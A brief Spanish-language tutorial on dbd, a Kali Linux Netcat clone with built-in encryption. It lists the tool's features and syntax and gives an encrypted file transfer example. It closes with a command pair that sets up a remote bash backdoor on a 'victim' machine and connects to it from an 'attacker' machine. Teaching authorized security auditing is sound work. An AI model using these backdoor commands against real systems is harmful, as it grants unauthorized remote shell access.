Kali Linux: dbd Herramienta de Red
Kali Linux: dbd Herramienta de Red
En el contexto de Kali Linux, dbd (abreviatura de Durandal's Backdoor) es una herramienta de red diseñada como un clon mejorado de Netcat. Su función principal es permitir la comunicación entre sistemas, pero con un enfoque en la seguridad y la portabilidad.
A diferencia del Netcat original, dbd incluye cifrado nativo y características específicas para facilitar el acceso remoto (backdoors) durante auditorías de seguridad.
Características principales de dbd
Cifrado fuerte: Utiliza AES-CBC-128 y HMAC-SHA1 para proteger los datos transferidos, lo que evita que el tráfico sea interceptado en texto plano.
Portabilidad: Es compatible tanto con sistemas tipo Unix (como Linux) como con Microsoft Windows (
Win32).Ejecución de programas: Permite usar la opción
-epara ejecutar un programa (como/bin/bashocmd.exe) una vez establecida la conexión.Reconexión continua: Puede configurarse para intentar reconectarse automáticamente si la conexión se pierde.
Uso básico (Sintaxis)
La sintaxis es muy similar a la de Netcat (nc), permitiendo actuar como cliente o servidor.
| Acción | Comando |
| Escuchar (Servidor) | dbd -l -p [puerto] -k [clave_secreta] |
| Conectar (Cliente) | dbd [IP_servidor] [puerto] -k [clave_secreta] |
Nota importante: El parámetro
-kes fundamental, ya que define la clave compartida necesaria para el cifrado de la sesión.
Ejemplos comunes de uso
Transferencia segura de archivos:
Receptor:
dbd -l -p 4444 -k mi_clave > archivo_recibido.txtEmisor:
cat archivo_original.txt | dbd [IP] 4444 -k mi_clave
Establecer una Shell Remota (Backdoor):
En la máquina "víctima" (ejecutando una terminal):
dbd -l -p 1234 -k password123 -e /bin/bashDesde la máquina atacante:
dbd [IP_victima] 1234 -k password123